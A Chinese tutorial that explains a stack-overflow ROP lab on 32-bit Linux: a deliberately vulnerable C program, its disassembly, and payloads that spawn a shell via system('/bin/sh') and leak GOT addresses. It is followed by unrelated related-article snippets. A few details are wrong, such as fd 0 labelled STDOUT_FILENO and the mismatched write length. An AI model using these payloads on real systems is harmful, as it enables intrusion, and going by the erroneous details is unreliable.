一步一步学ROP之linux_x86篇

0x00

本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。

阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护),Memory Leak。

0x01

第一个问题:为什么要构造成”A”*140+ret字符串,这个140是怎么来的呢?

要回答这个问题,我们需要把level1.c反汇编,level1.c代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用objdump -S level1反汇编,结果如下:

08048404 <vulnerable_function>:
 8048404:    55                       push   %ebp
 8048405:    89 e5                    mov    %esp,%ebp
 8048407:    81 ec 98 00 00 00        sub    $0x98,%esp //esp-0x98
 804840d:    c7 44 24 08 00 01 00     movl   $0x100,0x8(%esp)//存放第三个参数256
 8048414:    00
 8048415:    8d 85 78 ff ff ff        lea    -0x88(%ebp),%eax//存放第二个参数,buf的地址
 804841b:    89 44 24 04              mov    %eax,0x4(%esp)
 804841f:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)//存放第一个参数,STDOUT_FILENO
 8048426:    e8 e5 fe ff ff           call   8048310 <[email protected]>
 804842b:    c9                       leave
 804842c:    c3                       ret   

0804842d <main>:
 804842d:    55                       push   %ebp
 804842e:    89 e5                    mov    %esp,%ebp
 8048430:    83 e4 f0                 and    $0xfffffff0,%esp
 8048433:    83 ec 10                 sub    $0x10,%esp
 8048436:    e8 c9 ff ff ff           call   8048404 <vulnerable_function>
 804843b:    c7 44 24 08 0d 00 00     movl   $0xd,0x8(%esp)
 8048442:    00
 8048443:    c7 44 24 04 30 85 04     movl   $0x8048530,0x4(%esp)
 804844a:    08
 804844b:    c7 04 24 01 00 00 00     movl   $0x1,(%esp)
 8048452:    e8 e9 fe ff ff           call   8048340 <[email protected]>
 8048457:    c9                       leave
 8048458:    c3                       ret
 8048459:    90                       nop
 804845a:    90                       nop
 804845b:    90                       nop
 804845c:    90                       nop
 804845d:    90                       nop
 804845e:    90                       nop
 804845f:    90                       nop

当main函数调用call 8048404 <vulnerable_function>,参考上面的代码注释,就形成了下图结构:

0x02

payload = ‘A‘*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这段代码是为了执行system("/bin/sh"),然后返回到ret继续执行。也就是binshaddr是system的参数,那么为什么这些写可以呢?

我们先来看8048426: e8 e5 fe ff ff call 8048310 <[email protected]>是怎么样取参数的?

调用read后,依次向堆栈中存储了EIP和EBP,此时如果想取第一个参数,需要用ESP-8。

同理我们就可以理解 payload = ‘A‘*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这句代码的含义,如下图,观察右边的小图:

这样我们就能理解为什么/bin/sh是第一个参数,为什么system("/bin/sh")执行后返回到ret了。

0x03

payload1 = ‘a‘*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)这句话执行的函数是?

write(STDOUT_FILENO, got_write, 3);

0x04

一步一步学ROP之linux_x64篇一文中,讲到了Memory Leak,这段代码的含义是什么呢?

payload2 = ‘a‘*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

从标准输入读取/bin/sh到.bss段,对应的代码read(STDIN_FILENO, bss_addr, 8)。

然后返回到pppt,执行pop pop pop ret,也就是绕过p32(0) + p32(bss_addr) + p32(8),执行system_addr,之后的流程就和原来一致了。

时间: 2024-10-09 16:34:05

一步一步学ROP之linux_x86篇的相关文章

一步一步学ROP之linux_x64篇

一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等).上次我们主要讨论了linux_x86的ROP攻击:<一步一步学ROP之linux_x86篇>,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习. 另外文中涉及代码可在我的github下载:https://githu

一步一步学ROP Linux x86

一步一步学ROP Linux x86 学习笔记一.无任何防护二.开启DEP三.开启DEP和ASLR四.开启DEP和ASLR,无libc 一步一步学ROP Linux x86 学习笔记 这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方. 一.无任何防护 在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp. 从最基础的开始,先学无任何防护的栈溢出.使用checksec看一下防护: 那就简单了,直接用shell

Rhythmk 一步一步学 JAVA (21) JAVA 多线程

1.JAVA多线程简单示例 1.1 .Thread  集成接口 Runnable 1.2 .线程状态,可以通过  Thread.getState()获取线程状态: New (新创建) Runnable (可以运行) Blocked  (被阻塞) Waiting  (等待) Timed waiting (计时等待) Terminated  (被终止) ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

Rhythmk 一步一步学 JAVA (20) JAVA enum常用方法

JAVA 枚举定义常用方法: 1.static Enum valueOf(Class enum,String name) 返回指定name的枚举类型 2.Static Enum values[] 返回枚举常量集合 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

一步一步学solr:在开始前我们应该明白什么

我就用自己的项目来讲solr应用了,当然他的功能很多,大家可以看这里 http://my.oschina.net/fengnote/blog/288581 功能那是相当的多. solr可以理解为与应用分离的一个搜索服务,我们要搭建应用+搜索服务的关联配置实现部分业务. 我们的项目现在要改功能,一个内容发布系统,做一个站内搜索,原有的框架是SSI的,只把查询部分用solr来实现. 问题是: 我要查询一篇文章关联到N张表 我除了查询文章还要查询分类(也用solr实现) 新增.修改.删除文章/分类后要

一步一步学WebSocket(二) 使用SuperWebSocket实现自己的服务端

上一篇文章,我们了解了客户端如何与服务器创建WebSocket连接.但是一个巴掌拍不响,既然是通信,就必然最少要有两个端.今天我们来看看c#如何用已有的框架实现一个WebSocket服务端. 在.Net Framework 4.5及以上版本中,微软为我们集成了WebSocket协议的基本实现.微软提供的WebSocket对象位于System.Net.WebSocket命名空间下,使用起来挺繁琐的,所以我选择了SuperWebSocket框架来简化开发的难度. SuperWebSocket框架可以

Rhythmk 一步一步学 JAVA (22) JAVA 网络编程

1.获取主机信息 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Test     public void GetDomainInfo() throws UnknownHostException {         String domain = "www.baidu.com";         InetAddress netAddress = InetAddress.getByName(domain);         // 获取

一步一步学ios UITextView(多行文本框)控件的用法详解(五5.8)

本文转载至 http://wuchaorang.2008.blog.163.com/blog/static/48891852201232014813990/ 1.创建并初始化 创建UITextView的文件,并在.h文件中写入如下代码: [csharp] view plaincopy #import <UIKit/UIKit.h> @interface TextViewController : UIViewController <UITextViewDelegate> { UITe

【DG】[三思笔记]一步一步学DataGuard

[DG][三思笔记]一步一步学DataGuard 它有无数个名字,有人叫它dg,有人叫它数据卫士,有人叫它data guard,在oracle的各项特性中它有着举足轻理的地位,它就是(掌声)......................Oracle Data Guard.而对于我而言,我一定要亲切的叫它:DG(注:主要是因为打着方便). 不少未实际接触过dg的初学者可能会下意识以为dg是一个备份恢复的工具.我要说的是,这种形容不完全错,dg拥有备份的功能,某些情况下它甚至可以与primary数据库